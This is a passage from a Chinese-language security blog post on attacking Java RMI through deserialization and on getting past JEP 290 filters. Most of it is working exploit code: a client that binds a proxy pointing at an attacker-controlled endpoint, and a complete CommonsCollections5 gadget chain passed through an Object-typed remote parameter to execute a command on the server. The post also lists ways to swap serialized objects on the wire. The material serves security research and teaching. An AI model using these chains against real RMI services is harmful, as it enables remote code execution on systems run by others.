| public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { try { RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try { ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(var1); var6.writeLong(var2); var6.writeObject(var4); } catch (IOException var20) { throw new MarshalException("error marshalling arguments", var20); }
super.ref.invoke(var5); try { ObjectInput var9 = var5.getInputStream(); var24 = (Lease)var9.readObject();
|
这里wirteObject后,会用invoke将数据发出去,接下来从socket连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置filter,所以这里可以直接导致注册中心rce,所以我们可以伪造一个socket连接并把我们恶意序列化的对象发过去
对应客户端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
public class Client { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("127.0.0.1",7777); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("hello",proxy); } }
|
用Object绕JEP290限制
JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。先把接口都新增一个sayPayload的方法,参数都是Object类型的
1 2 3 4 5 6
| import java.rmi.Remote;
public interface HelloInterface extends java.rmi.Remote { public String sayHello(String from) throws java.rmi.sRemoteException; public Object sayPayload(Object from) throws java.rmi.RemoteException; }
|
在把服务端HelloImpl代码改下,去实现这个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements HelloInterface { public HelloImpl() throws java.rmi.RemoteException { super(); }
public String sayHello(String from) throws java.rmi.RemoteException { System.out.println("Hello from " + from + "!!"); return "sayHello"; }
public Object sayPayload(Object from) throws java.rmi.RemoteException { System.out.println("Hello from " + from + "!!"); return null; } }
|
客户端在调用这个sayPayload方法时直接传payload看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class HelloClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(1099); HelloInterface hello = (HelloInterface) registry.lookup("hello1");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, entry);
hello.sayPayload(poc); } catch (Exception e) { e.printStackTrace(); } } }
|
执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值 客户端计算器也会弹出。
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| marshalValue:290, UnicastRef (sun.rmi.server) dispatch:367, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 316535884 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
|
在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路
- 将java.rmi包的代码复制到新包,并在新包中修改相应的代码
- 将调试器附加到正在运行的客户端,并在序列化之前替换这些对象
- 使用诸如Javassist这样的工具修改字节码
- 通过实现代理替换网络流上已经序列化的对象
通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler
类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget。不熟悉RASP的先要去了解下。
我这里使用CommonsCollections5这条链,Hook invokeRemoteMethod函数。